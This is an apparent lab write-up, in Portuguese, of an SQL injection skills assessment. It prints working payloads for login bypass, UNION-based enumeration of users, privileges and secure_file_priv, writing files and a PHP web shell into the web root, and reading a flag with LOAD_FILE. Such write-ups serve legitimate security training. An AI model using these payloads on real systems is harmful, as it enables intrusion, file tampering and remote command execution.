Skills Assessment - SQL Injection Fundamentals

Ao visitar o endereço IP fornecido na pergunta você encontra a página de login do site da empresa.

Usei este payload para fazer o bypass de autenticação

' or 1=1 limit 1 -- -+

Após o login bem-sucedido, nos deparamos com a página abaixo:

Precisamos saber se temos privilégios para ler/gravar dados. Vamos começar descobrindo o usuário logado no momento.

' UNION SELECT 1,USER(),3,4,5-- -

Em seguida, verificamos quais privilégios nosso usuário possui:

' UNION SELECT 1, super_priv, 3, 4, 5 FROM mysql.user-- -

A resposta é Y, o que confirma que o usuário possui privilégios de superusuário. Estamos especialmente interessados em saber se o usuário possui os privilégios 'FILE' que permitem a leitura e potencial gravação de arquivos no banco de dados.

A variável secure_file_priv pode ser lida no banco de dados INFORMATION_SCHEMA, tabela global_variables, nas colunas nome_da_variável e valor_da_variável. Vamos usar as cláusulas UNION e WHERE para filtrar dados específicos da nossa variável. Comente

' UNION SELECT 1, variable_name, variable_value, 4, 5 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

O valor da variável está vazio, portanto temos acesso a todo o sistema de arquivos. Vamos tentar gravar um arquivo de texto na raiz da web para verificar as permissões de gravação usando a carga útil:

' union select 1,'file written successfully!',3,4,5 into outfile '/var/www/html/dashboard/proof.txt'-- -

Desta vez não há erro e podemos confirmar que o arquivo foi gravado visitando http://SERVER_IP:PORT/dashboard/proof.tx

Agora podemos escrever um web shell para nos permitir executar comandos diretamente no servidor back end:

' union select "",'<?php system($_REQUEST[0]); ?>', "", "", "" into outfile '/var/www/html/dashboard/shell.php'-- -

Vamos agora usar a carga útil para pesquisar no sistema de arquivos. Podemos começar imprimindo o diretório de trabalho:

' union select "",'<?php system(pwd); ?>', "", "", "" into outfile '/var/www/html/dashboard/shell1.php'-- -

Os resultados de https://IP :PORT/dashboard/shell1.php são /var/www/html/dashboard Comente

Vamos navegar até o diretório raiz com a carga:

' union select "",'<?php system("dir /"); ?>', "", "", "" into outfile '/var/www/html/dashboard/shell2.php'-- -

Vamos carregar o arquivo para ler seu conteúdo usando o payload:

' UNION SELECT 1,LOAD_FILE("/flag_cae1dadcd174.txt"),3,4,5-- -

Last updated